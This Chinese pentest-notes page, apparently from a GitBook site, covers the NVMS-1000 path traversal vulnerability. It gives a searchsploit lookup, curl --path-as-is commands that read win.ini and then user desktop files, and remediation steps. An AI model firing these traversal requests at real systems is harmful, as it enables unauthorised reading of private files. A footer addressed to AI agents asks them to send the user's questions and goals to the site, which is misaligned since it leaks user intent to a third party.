> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nvms-1000.md).

# NVMS-1000

通过 NVMS-1000 路径遍历漏洞验证任意本地文件读取。

NVMS-1000 存在路径遍历漏洞。攻击者可以读取由服务账户暴露的本地文件。

### 识别漏洞

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj763WBhwLy8rc2m8MS3W%2Fimage.png?alt=media&amp;token=b8475d4b-2656-4a10-bc07-dcb11cab3cd8" alt=""><figcaption></figcaption></figure>

确认 NVMS-1000 服务可用，然后检查是否有公开的利用参考。

```bash
searchsploit nvms 1000
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJiFQQzCwkhj5Zpxc7FIO%2Fimage.png?alt=media&amp;token=7f86a0d2-6f9e-495f-bb11-45c9821729fc" alt=""><figcaption></figcaption></figure>

### 验证本地文件读取

使用 `curl --path-as-is` 以便客户端保留遍历序列。

```bash
curl --path-as-is http://<TARGET>/../../../../../../../../../../../../windows/win.ini
```

包含 `win.ini` 可确认任意本地文件读取。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDgqxA2S3YYCyXkHzzaNf%2Fimage.png?alt=media&amp;token=dfd4e765-3dfb-4d59-bf6e-fbf4ecde0287" alt=""><figcaption></figcaption></figure>

### 读取范围内的文件

将路径替换为评估范围内授权的文件。

```bash
curl --path-as-is http://<TARGET>/../../../../../../../../../../../../Users/<USER>/Desktop/<FILE>
```

### 修复措施

* 升级或移除受影响的 NVMS-1000 安装。
* 在服务器端规范化并验证请求的路径。
* 仅允许受信任网络访问该服务。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/nvms-1000.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.